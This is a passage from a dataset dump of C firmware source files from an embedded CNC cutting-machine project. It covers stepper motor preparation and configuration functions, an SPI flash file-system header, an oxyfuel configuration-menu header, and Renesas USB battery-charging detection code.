{\n\t\t\tst_pre.mot[motor].direction = DIRECTION_CCW ^ st_cfg.mot[motor].polarity;\n\t\t\tst_pre.mot[motor].step_sign = -1;\n\t\t}\n\n\t\t// Detect segment time changes and setup the accumulator correction factor and flag.\n\t\t// Putting this here computes the correct factor even if the motor was dormant for some\n\t\t// number of previous moves. Correction is computed based on the last segment time actually used.\n\n\t\tif (fabs(segment_time - st_pre.mot[motor].prev_segment_time) > 0.0000001) { // highly tuned FP != compare\n\t\t\tif (fp_NOT_ZERO(st_pre.mot[motor].prev_segment_time)) {\t\t\t\t\t// special case to skip first move\n\t\t\t\tst_pre.mot[motor].accumulator_correction_flag = true;\n\t\t\t\tst_pre.mot[motor].accumulator_correction = segment_time / st_pre.mot[motor].prev_segment_time;\n\t\t\t}\n\t\t\tst_pre.mot[motor].prev_segment_time = segment_time;\n\t\t}\n\n#ifdef __STEP_CORRECTION\n\t\t// 'Nudge' correction strategy. Inject a single, scaled correction value then hold off\n\n\t\tif ((--st_pre.mot[motor].correction_holdoff < 0) &&\n\t\t\t(fabs(following_error[motor]) > STEP_CORRECTION_THRESHOLD)) {\n\n\t\t\tst_pre.mot[motor].correction_holdoff = STEP_CORRECTION_HOLDOFF;\n\t\t\tcorrection_steps = following_error[motor] * STEP_CORRECTION_FACTOR;\n\n\t\t\tif (correction_steps > 0) {\n\t\t\t\tcorrection_steps = min3(correction_steps, fabs(travel_steps[motor]), STEP_CORRECTION_MAX);\n\t\t\t} else {\n\t\t\t\tcorrection_steps = max3(correction_steps, -fabs(travel_steps[motor]), -STEP_CORRECTION_MAX);\n\t\t\t}\n\t\t\tst_pre.mot[motor].corrected_steps += correction_steps;\n\t\t\ttravel_steps[motor] -= correction_steps;\n\t\t}\n#endif\n\t\t// Compute substeb increment. The accumulator must be *exactly* the incoming\n\t\t// fractional steps times the substep multiplier or positional drift will occur.\n\t\t// Rounding is performed to eliminate a negative bias in the uint32 conversion\n\t\t// that results in long-term negative drift. (fabs/round order doesn't matter)\n\n\t\tst_pre.mot[motor].substep_increment = round(fabs(travel_steps[motor] * DDA_SUBSTEPS));\n\t}\n\tst_pre.move_type = MOVE_TYPE_ALINE;\n\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_LOADER;\t// signal that prep buffer is ready\n\treturn (STAT_OK);\n}\n\n/*\n * st_prep_null() - Keeps the loader happy. Otherwise performs no action\n */\n\nvoid st_prep_null()\n{\n\tst_pre.move_type = MOVE_TYPE_NULL;\n\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_EXEC;\t// signal that prep buffer is empty\n}\n\n/*\n * st_prep_command() - Stage command to execution\n */\n\nvoid st_prep_command(void *bf)\n{\n\tst_pre.move_type = MOVE_TYPE_COMMAND;\n\tst_pre.bf = (mpBuf_t *)bf;\n\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_LOADER;\t// signal that prep buffer is ready\n}\n\n/*\n * st_prep_dwell() \t - Add a dwell to the move buffer\n */\n\nvoid st_prep_dwell(float microseconds)\n{\n\tfloat seconds;\n\tseconds = (microseconds/1000);\n\tst_pre.move_type = MOVE_TYPE_DWELL;\n\tst_pre.dda_period = _f_to_period(FREQUENCY_DWELL);\n\tst_pre.dda_ticks = (uint32_t)((microseconds/1000) * FREQUENCY_DWELL);\n\tif (configFlags[MODOMAQUINA] == MODO_OXICORTE){\n\t\tif (seconds == configVarOx[OX_CONFIG_TEMPO_AQUECIMENTO])\n\t\t\ttempoDwell = OX_CONFIG_TEMPO_AQUECIMENTO;\n\t\telse if(seconds == configVarOx[OX_CONFIG_TEMPO_PERFURACAO])\n\t\t\ttempoDwell = OX_CONFIG_TEMPO_PERFURACAO;\n\t}\n\t// Seconds st_pre.dda_ticks = (uint32_t)((microseconds/1000000) * FREQUENCY_DWELL);\n\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_LOADER;\t// signal that prep buffer is ready\n}\n\n/*\n * _set_hw_microsteps() - set microsteps in hardware\n *\n *\tFor now the microsteps is the same as the microsteps (1,2,4,8)\n *\tThis may change if microstep morphing is implemented.\n */\n\nstatic void _set_hw_microsteps(const uint8_t motor, const uint8_t microsteps)\n{\n#ifdef __ARM\n\tswitch (motor) {\n\t\tif (!motor_1.enable.isNull()) case (MOTOR_1): { motor_1.setMicrosteps(microsteps); break; }\n\t\tif (!motor_2.enable.isNull()) case (MOTOR_2): { motor_2.setMicrosteps(microsteps); break; }\n\t\tif (!motor_3.enable.isNull()) case (MOTOR_3): { motor_3.setMicrosteps(microsteps); break; }\n\t\tif (!motor_4.enable.isNull()) case (MOTOR_4): { motor_4.setMicrosteps(microsteps); break; }\n\t\tif (!motor_5.enable.isNull()) case (MOTOR_5): { motor_5.setMicrosteps(microsteps); break; }\n\t\tif (!motor_6.enable.isNull()) case (MOTOR_6): { motor_6.setMicrosteps(microsteps); break; }\n\t}\n#endif //__ARM\n#ifdef __AVR\n\tif (microsteps == 8) {\n\t\thw.st_port[motor]->OUTSET = MICROSTEP_BIT_0_bm;\n\t\thw.st_port[motor]->OUTSET = MICROSTEP_BIT_1_bm;\n\t} else if (microsteps == 4) {\n\t\thw.st_port[motor]->OUTCLR = MICROSTEP_BIT_0_bm;\n\t\thw.st_port[motor]->OUTSET = MICROSTEP_BIT_1_bm;\n\t} else if (microsteps == 2) {\n\t\thw.st_port[motor]->OUTSET = MICROSTEP_BIT_0_bm;\n\t\thw.st_port[motor]->OUTCLR = MICROSTEP_BIT_1_bm;\n\t} else if (microsteps == 1) {\n\t\thw.st_port[motor]->OUTCLR = MICROSTEP_BIT_0_bm;\n\t\thw.st_port[motor]->OUTCLR = MICROSTEP_BIT_1_bm;\n\t}\n#endif // __AVR\n}\n\n\n/***********************************************************************************\n * CONFIGURATION AND INTERFACE FUNCTIONS\n * Functions to get and set variables from the cfgArray table\n ***********************************************************************************/\n\n/* HELPERS\n * _get_motor() - helper to return motor number as an index\n */\n\nstatic int8_t _get_motor(const nvObj_t *nv)\n{\n return ((nv->group[0] ? nv->group[0] : nv->token[0]) - 0x31);\n}\n\n/*\n * _set_motor_steps_per_unit() - what it says\n * This function will need to be rethought if microstep morphing is implemented\n */\n\nstatic void _set_motor_steps_per_unit(nvObj_t *nv)\n{\n\tuint8_t m = _get_motor(nv);\n\n//\tst_cfg.mot[m].units_per_step = (st_cfg.mot[m].travel_rev * st_cfg.mot[m].step_angle) / (360 * st_cfg.mot[m].microsteps); // unused\n st_cfg.mot[m].steps_per_unit = (360 * st_cfg.mot[m].microsteps) / (st_cfg.mot[m].travel_rev * st_cfg.mot[m].step_angle);\n\tst_reset();\n}\n\n/* PER-MOTOR FUNCTIONS\n * st_set_sa() - set motor step angle\n * st_set_tr() - set travel per motor revolution\n * st_set_mi() - set motor microsteps\n * st_set_pm() - set motor power mode\n * st_set_pl() - set motor power level\n */\n\nstat_t st_set_sa(nvObj_t *nv)\t\t\t// motor step angle\n{\n\tset_flt(nv);\n\t_set_motor_steps_per_unit(nv);\n\treturn(STAT_OK);\n}\n\nstat_t st_set_tr(nvObj_t *nv)\t\t\t// motor travel per revolution\n{\n\tset_flu(nv);\n\t_set_motor_steps_per_unit(nv);\n\treturn(STAT_OK);\n}\n\nstat_t st_set_mi(nvObj_t *nv)\t\t\t// motor microsteps\n{\n uint32_t mi = (uint32_t)nv->value;\n\tif ((mi != 1) && (mi != 2) && (mi != 4) && (mi != 8)) {\n\t\tnv_add_conditional_message((const char_t *)\"*** WARNING *** Setting non-standard microstep value\");\n\t}\n\tset_int(nv);\t\t\t\t\t\t// set it anyway, even if it's unsupported. It could also be > 255\n\t_set_motor_steps_per_unit(nv);\n\t_set_hw_microsteps(_get_motor(nv), (uint8_t)nv->value);\n\treturn (STAT_OK);\n}\n\nstat_t st_set_pm(nvObj_t *nv)\t\t\t// motor power mode\n{\n\tif ((uint8_t)nv->value >= MOTOR_POWER_MODE_MAX_VALUE)\n return (STAT_INPUT_VALUE_RANGE_ERROR);\n\tset_ui8(nv);\n\treturn (STAT_OK);\n\t// NOTE: The motor power callback makes these settings take effect immediately\n}\n\n/*\n * st_set_pl() - set motor power level\n *\n *\tInput value may vary from 0.000 to 1.000 The setting is scaled to allowable PWM range.\n *\tThis function sets both the scaled and dynamic power levels, and applies the\n *\tscaled value to the vref.\n */\nstat_t st_set_pl(nvObj_t *nv)\t// motor power level\n{\n#ifdef __ARM\n\tif (nv->value < (float)0.0) nv->value = 0.0;\n\tif (nv->value > (float)1.0) {\n\t\tif (nv->value > (float)100) nv->value = 1;\n \t\tnv->value /= 100;\t\t// accommodate old 0-100 inputs\n\t}\n\tset_flt(nv);\t// set power_setting value in the motor config struct (st)\n\n\tuint8_t m = _get_motor(nv);\n\tst_cfg.mot[m].power_level_scaled = (nv->value * POWER_LEVEL_SCALE_FACTOR);\n\tst_run.mot[m].power_level_dynamic = (st_cfg.mot[m].power_level_scaled);\n\t_set_motor_power_level(m, st_cfg.mot[m].power_level_scaled);\n#endif\n\treturn(STAT_OK);\n}\n\n/*\n * st_get_pwr()\t- get motor enable power state\n */\nstat_t st_get_pwr(nvObj_t *nv)\n{\n\tnv->value = _motor_is_enabled(_get_motor(nv));\n\tnv->valuetype = TYPE_INTEGER;\n\treturn (STAT_OK);\n}\n\n/* GLOBAL FUNCTIONS (SYSTEM LEVEL)\n *\n * st_set_mt() - set motor timeout in seconds\n * st_set_md() - disable motor power\n * st_set_me() - enable motor power\n *\n * Calling me or md with NULL will enable or disable all motors\n * Setting a value of 0 will enable or disable all motors\n * Setting a value from 1 to MOTORS will enable or disable that motor only\n */\n\nstat_t st_set_mt(nvObj_t *nv)\n{\n\tst_cfg.motor_power_timeout = fminf(MOTOR_TIMEOUT_SECONDS_MAX, fmaxf(nv->value, MOTOR_TIMEOUT_SECONDS_MIN));\n\treturn (STAT_OK);\n}\n\nstat_t st_set_md(nvObj_t *nv)\t// Make sure this function is not part of initialization --> f00\n{\n\tif (((uint8_t)nv->value == 0) || (nv->valuetype == TYPE_NULL)) {\n\t\tst_deenergize_motors();\n\t} else {\n uint8_t motor = (uint8_t)nv->value;\n if (motor > MOTORS) {\n return (STAT_INPUT_VALUE_RANGE_ERROR);\n }\n _deenergize_motor(motor-1); // adjust so that motor 1 is actually 0 (etc)\n\t}\n\treturn (STAT_OK);\n}\n\nstat_t st_set_me(nvObj_t *nv)\t// Make sure this function is not part of initialization --> f00\n{\n\tif (((uint8_t)nv->value == 0) || (nv->valuetype == TYPE_NULL)) {\n\t\tst_energize_motors();\n\t} else {\n uint8_t motor = (uint8_t)nv->value;\n if (motor > MOTORS) {\n return (STAT_INPUT_VALUE_RANGE_ERROR);\n }\n\t\t_energize_motor(motor-1); // adjust so that motor 1 is actually 0 (etc)\n\t}\n\treturn (STAT_OK);\n}\n\nvoid st_command_dwell(st_dwell_command com)\n{\n\tswitch(com)\n\t{\n\t\tcase DWELL_START: \tR_CMT_Control(timerDwell,CMT_RX_CMD_RESTART,0);\tbreak;\n\t\tcase DWELL_PAUSE: \tR_CMT_Control(timerDwell,CMT_RX_CMD_PAUSE,0);\tbreak;\n\t\tcase DWELL_RESTART: R_CMT_Control(timerDwell,CMT_RX_CMD_RESUME,0); break;\n\t\tcase DWELL_EXIT: \tst_run.dda_ticks_downcount = 1; \t\t\t\tbreak;\n\t\tcase DWELL_ZERO: \tst_run.dda_ticks_downcount = 0; \t\t\t\tbreak;\n\t\tdefault: break;\n\t}\n}\n\nfloat st_get_dwell_elapsed_time(void)\n{\n\treturn st_run.dda_ticks_downcount/FREQUENCY_DWELL;\n}\n\nvoid st_set_dwell_elapsed_time(float time)\n{\n\tfloat timeElapsed;\n\ttimeElapsed = (int32_t)st_run.dda_ticks_downcount + (int32_t)time*FREQUENCY_DWELL;\n\tif(timeElapsed <= 0){\n\t\tst_run.dda_ticks_downcount = 1;\n\t}\n\telse\n\t{\n\t\tst_run.dda_ticks_downcount = timeElapsed;\n\t}\n}\n\n\n\n/***********************************************************************************\n * TEXT MODE SUPPORT\n * Functions to print variables from the cfgArray table\n ***********************************************************************************/\n\n#ifdef __TEXT_MODE\n\nstatic const char msg_units0[] PROGMEM = \" in\";\t// used by generic print functions\nstatic const char msg_units1[] PROGMEM = \" mm\";\nstatic const char msg_units2[] PROGMEM = \" deg\";\nstatic const char *const msg_units[] PROGMEM = { msg_units0, msg_units1, msg_units2 };\n#define DEGREE_INDEX 2\n\nstatic const char fmt_me[] PROGMEM = \"motors energized\\n\";\nstatic const char fmt_md[] PROGMEM = \"motors de-energized\\n\";\nstatic const char fmt_mt[] PROGMEM = \"[mt] motor idle timeout%14.2f Sec\\n\";\nstatic const char fmt_0ma[] PROGMEM = \"[%s%s] m%s map to axis%15d [0=X,1=Y,2=Z...]\\n\";\nstatic const char fmt_0sa[] PROGMEM = \"[%s%s] m%s step angle%20.3f%s\\n\";\nstatic const char fmt_0tr[] PROGMEM = \"[%s%s] m%s travel per revolution%10.4f%s\\n\";\nstatic const char fmt_0mi[] PROGMEM = \"[%s%s] m%s microsteps%16d [1,2,4,8]\\n\";\nstatic const char fmt_0po[] PROGMEM = \"[%s%s] m%s polarity%18d [0=normal,1=reverse]\\n\";\nstatic const char fmt_0pm[] PROGMEM = \"[%s%s] m%s power management%10d [0=disabled,1=always on,2=in cycle,3=when moving]\\n\";\nstatic const char fmt_0pl[] PROGMEM = \"[%s%s] m%s motor power level%13.3f [0.000=minimum, 1.000=maximum]\\n\";\nstatic const char fmt_pwr[] PROGMEM = \"Motor %c power enabled state:%2.0f\\n\";\n\nvoid st_print_mt(nvObj_t *nv) { text_print_flt(nv, fmt_mt);}\nvoid st_print_me(nvObj_t *nv) { text_print_nul(nv, fmt_me);}\nvoid st_print_md(nvObj_t *nv) { text_print_nul(nv, fmt_md);}\n\nstatic void _print_motor_ui8(nvObj_t *nv, const char *format)\n{\n\tfprintf_P(stderr, format, nv->group, nv->token, nv->group, (uint8_t)nv->value);\n}\n\nstatic void _print_motor_flt_units(nvObj_t *nv, const char *format, uint8_t units)\n{\n\tfprintf_P(stderr, format, nv->group, nv->token, nv->group, nv->value, GET_TEXT_ITEM(msg_units, units));\n}\n\nstatic void _print_motor_flt(nvObj_t *nv, const char *format)\n{\n\tfprintf_P(stderr, format, nv->group, nv->token, nv->group, nv->value);\n}\n\nstatic void _print_motor_pwr(nvObj_t *nv, const char *format)\n{\n\tfprintf_P(stderr, format, nv->token[0], nv->value);\n}\n\nvoid st_print_ma(nvObj_t *nv) { _print_motor_ui8(nv, fmt_0ma);}\nvoid st_print_sa(nvObj_t *nv) { _print_motor_flt_units(nv, fmt_0sa, DEGREE_INDEX);}\nvoid st_print_tr(nvObj_t *nv) { _print_motor_flt_units(nv, fmt_0tr, cm_get_units_mode(MODEL));}\nvoid st_print_mi(nvObj_t *nv) { _print_motor_ui8(nv, fmt_0mi);}\nvoid st_print_po(nvObj_t *nv) { _print_motor_ui8(nv, fmt_0po);}\nvoid st_print_pm(nvObj_t *nv) { _print_motor_ui8(nv, fmt_0pm);}\nvoid st_print_pl(nvObj_t *nv) { _print_motor_flt(nv, fmt_0pl);}\nvoid st_print_pwr(nvObj_t *nv){ _print_motor_pwr(nv, fmt_pwr);}\n\n#endif // __TEXT_MODE\n" }, { "alpha_fraction": 0.6145359873771667, "alphanum_fraction": 0.6547696590423584, "avg_line_length": 25.568965911865234, "blob_id": "e2493b094c114f044a0d05a792e8d934b7c931ec", "content_id": "9a7c6eb891aa14f34413f1cc2a43ecf86de4bd76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1541, "license_type": "no_license", "max_line_length": 88, "num_lines": 58, "path": "/fsystem_spi/fsystem_spi.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * fsystem_spi.h\n *\n * Created on: Jul 13, 2016\n * Author: LAfonso01\n */\n\n#ifndef FSYSTEM_SPI_H_\n#define FSYSTEM_SPI_H_\n\n#include \"ff.h\"\n\n/* SPI Flash FS page size */\n#define FS_PAGE_SIZE \t (256)\n/* SPI Flash FS block size */\n#define FS_BLOCK_SIZE \t (1024*1024)\n/* fs_image_header_t size in byte */\n#define FS_IMAGE_BYTE_SIZE \t\t\t (42)\n/* fs_image_header_t size in byte */\n#define FS_NEED_ERASE \t\t\t \t (0xA5)\n\n\ntypedef enum{\n\tBLOCK_IN_USE = 0x0000,\n\tBLOCK_ERASED = 0xAAAA,\n\tBLOCK_NEED_ERASE = 0xFFFF,\n}fs_block_state_t;\n\n/* Structure of FlashLoader Load Image Header */\ntypedef struct{\n\t\t/* To confirm valid header */\n\t\tuint8_t valid_mask;\n\t\t/* File name */\n\t\tuint8_t\t\tfilename[32];\n\t\t/* Next Block available */\n\t\tuint16_t block_state;\n\t\t/* Enumeration of the file*/\n\t\tuint8_t file_block_number;\n\t\t/* File size on the block */\n\t\tuint32_t file_size_block;\n\t\t/* CRC-16 CCITT of image as in MCU flash */\n\t\tuint16_t raw_crc;\n}fs_image_header_t;\n\nvoid FS_spi_init(void);\nvoid FS_spi_start_block(uint32_t fsize);\nvoid FS_spi_writeFile(FIL* fp, char * fname);\nvoid FS_spi_readFile(uint8_t * buffer, uint32_t size);\nuint8_t* FS_spi_gets (uint8_t* buff, int len);\nbool FS_spi_eof(void);\nvoid FS_spi_close(void);\n\nvoid FS_spi_read_blocking(uint32_t rx_address, uint8_t * rx_buffer, uint32_t rx_bytes);\nvoid FS_spi_write_blocking(uint32_t rx_address, uint8_t * rx_buffer, uint32_t rx_bytes);\nvoid FS_spi_erase_blocking(const uint32_t address);\nvoid FS_spi_hw_init(void);\n\n#endif /* FSYSTEM_SPI_H_ */\n" }, { "alpha_fraction": 0.7006579041481018, "alphanum_fraction": 0.7154605388641357, "avg_line_length": 25.434782028198242, "blob_id": "55719f3d7d62b2b3a5ec70c4e180a67bc13420a8", "content_id": "c88e69b5a77df88e05e51e64a3a423120816804c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 608, "license_type": "no_license", "max_line_length": 51, "num_lines": 23, "path": "/src/include/config_menu_ox.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * config_menu_ox.h\n *\n * Created on: Jun 15, 2016\n * Author: LAfonso01\n */\n\n#ifndef INCLUDE_CONFIG_MENU_OX_H_\n#define INCLUDE_CONFIG_MENU_OX_H_\n\n#include \"ut_state_config_var.h\"\n\nextern ut_config_var configsOx[OX_CONFIG_MAX];\nextern ut_config_type ox_init_types[OX_CONFIG_MAX];\nextern char* ox_init_names[OX_CONFIG_MAX];\nextern float ox_init_max[OX_CONFIG_MAX];\nextern float ox_init_min[OX_CONFIG_MAX];\nextern float ox_init_step[OX_CONFIG_MAX];\nextern uint8_t ox_init_point[OX_CONFIG_MAX];\nextern char* ox_init_unit[OX_CONFIG_MAX];\nextern void initOx(void);\n\n#endif /* INCLUDE_CONFIG_MENU_OX_H_ */\n" }, { "alpha_fraction": 0.4425310492515564, "alphanum_fraction": 0.4564477503299713, "avg_line_length": 41.14345932006836, "blob_id": "26744c5c8a91855381f70b5be74f071b8a27a467", "content_id": "28b836bcfb6cfa04a0036e5ceb387ecaef948e50", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9988, "license_type": "no_license", "max_line_length": 120, "num_lines": 237, "path": "/r_usb_basic/src/driver/peri/r_usb_pbc.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_pbc.c\n* Description : This is the USB peripheral battery charging code.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#ifdef USB_PERI_BC_ENABLE\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n#define USB_BC_DCD_TIME 600\n#define USB_BC_DCD_DBNC 11\n#define USB_BC_VDPSRC_ON 42\n#define USB_BC_VDMSRC_DIS 22\n#define USB_BC_VDMSRC_ON 42\n\n#define USB_BC_DCD_TIMEOUT 0\n#define USB_BC_DCD_COMP_SE0 1\n\n/* BC Port Detect Result */\n#define USB_BC_PORT_SDP 0x00\n#define USB_BC_PORT_CDP 0x01\n#define USB_BC_PORT_DCP 0x02\n\n\n/******************************************************************************\nTypedef definitions\n******************************************************************************/\n/* There is no typedef definition. */\n\n\n/******************************************************************************\nExported global variables and functions (to be accessed by other files)\n******************************************************************************/\n/* variables */\nuint16_t g_usb_bc_detect;\n\n/* functions */\nvoid usb_pstd_bc_detect_process( USB_UTR_t *ptr );\n\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n/* variables */\n\n/* functions */\nuint8_t usb_pstd_bc_data_contact_detect( USB_UTR_t *ptr );\nuint8_t usb_pstd_bc_primary_detection( USB_UTR_t *ptr );\nuint8_t usb_pstd_bc_secondary_detection( USB_UTR_t *ptr );\n\n\n/******************************************************************************\nImported global variables and functions (from other files)\n******************************************************************************/\n/* variables */\n\n/* functions */\nextern void usb_cpu_delay_1us(uint16_t time);\nextern void usb_cpu_delay_xms(uint16_t time);\n\n\n\n/******************************************************************************\nRenesas Abstracted USB peripheral battery charging driver functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_bc_process\nDescription : Charging Port Detect Process\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_bc_detect_process( USB_UTR_t *ptr )\n{\n// USB_SET_PAT(USBBCCTRL0, USB_BATCHGE);\n\n usb_pstd_bc_data_contact_detect(ptr);\n \n if ( usb_pstd_bc_primary_detection(ptr) )\n {\n if( usb_pstd_bc_secondary_detection(ptr) )\n {\n g_usb_bc_detect = USB_BC_PORT_DCP;\n }\n else\n {\n g_usb_bc_detect = USB_BC_PORT_CDP;\n }\n }\n else\n {\n g_usb_bc_detect = USB_BC_PORT_SDP;\n }\n\n// USB_CLR_PAT(USBBCCTRL0, USB_BATCHGE);\n} /* eof usb_pstd_bc_process() */\n\n\n/******************************************************************************\nFunction Name : usb_pstd_bc_data_contact_detect\nDescription : Data Contact Detect\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : uint8_t : DCD Complete Status\n******************************************************************************/\nuint8_t usb_pstd_bc_data_contact_detect( USB_UTR_t *ptr )\n{\n uint16_t buf;\n uint16_t timer = 0;\n\n\n usb_creg_set_cnen( ptr );\n usb_preg_set_bcctrl( ptr, USB_IDPSRCE);\n usb_cpu_DelayXms((uint16_t)5); /* wait stabilization */\n\n while( timer < USB_BC_DCD_TIME ) /* [BC1.2 Spec] DCD_TIMEOUT (300-900ms) */\n {\n buf = usb_creg_read_syssts( ptr, USB_PORT0 );\n if( (buf & USB_LNST) == USB_SE0)\n {\n usb_cpu_DelayXms((uint16_t)USB_BC_DCD_DBNC); /* [BC1.2 Spec] DCD_DBNC (min:10ms) */\n timer += USB_BC_DCD_DBNC;\n buf = usb_creg_read_syssts( ptr, USB_PORT0 );\n if( (buf & USB_LNST) == USB_SE0)\n {\n usb_preg_clr_bcctrl( ptr, USB_IDPSRCE );\n return USB_BC_DCD_COMP_SE0; /* Connected Data Line */\n }\n }\n usb_cpu_DelayXms((uint16_t)1);\n timer++;\n }\n\n usb_preg_clr_bcctrl( ptr, USB_IDPSRCE);\n\n return USB_BC_DCD_TIMEOUT; /* DCD Timeout */\n} /* eof usb_pstd_bc_data_contact_detect() */\n\n\n/******************************************************************************\nFunction Name : usb_pstd_bc_primary_detection\nDescription : Primary Detection\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : uint8_t : Detection Port\n******************************************************************************/\nuint8_t usb_pstd_bc_primary_detection( USB_UTR_t *ptr )\n{\n uint16_t buf;\n\n// USB_SET_PAT(USBBCCTRL0, (USB_VDPSRCE | USB_IDMSINKE));\n usb_preg_set_bcctrl( ptr, (USB_VDPSRCE | USB_IDMSINKE));\n\n usb_cpu_DelayXms((uint16_t)USB_BC_VDPSRC_ON); /* [BC1.2 Spec] TVDPSRC_ON (min:40ms) */\n// USB_RD(USBBCCTRL0, buf); /* store CHGDETSTS */\n buf = usb_creg_read_bcctrl( ptr );\n// USB_CLR_PAT(USBBCCTRL0, (USB_VDPSRCE | USB_IDMSINKE));\n usb_preg_clr_bcctrl( ptr, (USB_VDPSRCE | USB_IDMSINKE));\n usb_cpu_DelayXms((uint16_t)USB_BC_VDMSRC_DIS); /* [BC1.2 Spec] TVDMSRC_DIS (max:20ms) */\n\n if( buf & USB_CHGDETSTS )\n {\n return 1; /* Detected Charging Port */\n }\n else\n {\n return 0; /* Detected SDP */\n }\n} /* eof usb_pstd_bc_primary_detection() */\n\n\n/******************************************************************************\nFunction Name : usb_pstd_secondary_detection\nDescription : Secondary Detection\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : uint8_t : Detection Port\n******************************************************************************/\nuint8_t usb_pstd_bc_secondary_detection( USB_UTR_t *ptr )\n{\n uint16_t buf;\n\n// USB_SET_PAT(USBBCCTRL0, (USB_VDMSRCE | USB_IDPSINKE));\n usb_preg_set_bcctrl( ptr, (USB_VDMSRCE | USB_IDPSINKE));\n usb_cpu_DelayXms((uint16_t)USB_BC_VDMSRC_ON); /* [BC1.2 Spec] TVDMSRC_ON (min:40ms) */\n// USB_RD(USBBCCTRL0, buf); /* store PDDETSTS */\n buf = usb_creg_read_bcctrl( ptr );\n// USB_CLR_PAT(USBBCCTRL0, (USB_VDMSRCE | USB_IDPSINKE));\n usb_preg_clr_bcctrl( ptr, (USB_VDMSRCE | USB_IDPSINKE));\n\n if( buf & USB_PDDETSTS )\n {\n return 1; /* Detected DCP */\n }\n else\n {\n return 0; /* Detected CDP */\n }\n} /* eof usb_pstd_secondary_detection() */\n\n#endif /* USB_PERI_BC_ENABLE */\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n" }, { "alpha_fraction": 0.4611312747001648, "alphanum_fraction": 0.476901650428772, "avg_line_length": 37.633399963378906, "blob_id": "d35ece0fa9d418b2bdcf0fb4fe59b406184b5bad", "content_id": "277d58c07d26d812fc3c025482d110c34bb05560", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 118450, "license_type": "no_license", "max_line_length": 120, "num_lines": 3066, "path": "/r_usb_basic/src/driver/host/r_usb_hhubsys.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights 